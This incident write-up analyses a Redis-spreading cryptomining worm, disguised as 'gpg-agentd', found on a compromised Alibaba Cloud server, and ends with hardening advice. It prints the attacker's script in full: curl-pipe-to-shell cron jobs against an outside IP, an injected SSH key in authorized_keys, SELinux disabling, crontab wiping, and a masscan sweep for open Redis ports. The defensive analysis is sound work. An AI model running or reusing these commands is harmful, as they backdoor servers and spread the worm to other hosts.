How a Hidden gpg-agentd Malware Hijacked an Alibaba Cloud Server

0x00 Background

On a Monday morning the author learned that a server on Alibaba Cloud was frozen for "malicious outbound traffic". An SSH connection to port 22 was blocked, but after changing the port the author could connect and saw the root account using a weak password, indicating a compromise.

0x01 Finding Clues

The compromised server runs CentOS 6.x with nginx, tomcat, redis, etc. After backing up databases, the author noticed two processes named

gpg-agentd

consuming 99% CPU. Research shows gpg-agent provides SSH support, but the trailing "d" suggests a disguised malicious binary.

1. How was the file uploaded? 2. What is its purpose?

History logs were cleared, leaving no trace. The author examined cron jobs and found entries that download and execute a script every 15 minutes.

<code>crontab -e</code>

0x02 Attack Motive

The cron job downloads

ash.php

and saves it as

ash.sh

. The script performs several actions:

<code>curl -fsSL 159.89.190.243/ash.php > ash.sh</code>

<code>uname -a
setenforce 0
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root
yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null</code>

The script disables SELinux, creates an SSH public key for password‑less login, installs bash, and fetches a second script

bsh.php

for further actions.

The second script is longer and performs four main functions:

1. Download remote code and make it executable. 2. Modify rc.local for persistence. 3. Download and compile the open‑source scanner masscan and install dependencies. 4. Execute a third script.

The script also configures Redis to write arbitrary data to files, allowing the attacker to plant SSH keys and schedule further cron jobs. It then uses

masscan

to scan the Internet for open Redis instances (port 6379) and attempts to compromise them, creating a fast‑spreading worm.

<code>masscan --max-rate 10000 -p6379,6380 --shard $(seq 1 22000 | sort -R | head -n1)/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard</code>

The author links the activity to cryptocurrency mining, noting strings like "bitcoin" and "eth" inside the binary, and confirms the presence of NiceHash mining software.

0x03 Summary

The malware chain works by first inserting an SSH public key via the compromised root account, then using cron jobs to repeatedly download and execute malicious scripts, exploiting an unauthenticated Redis instance to propagate across the Internet, and finally mining cryptocurrency on compromised hosts.

0x04 Security Recommendations

Server hardening

1. Disable direct root login. 2. Use strong, complex passwords. 3. Change the default SSH port. 4. Install tools like DenyHosts to block brute‑force attempts. 5. Disable password authentication; use RSA keys only.

Redis hardening

1. Bind Redis only to localhost; disable public IP listening. 2. Set a strong password for Redis access. 3. Run Redis under a low‑privilege account.

The author invites readers to test the scripts in a controlled environment and notes that the analysis may contain omissions.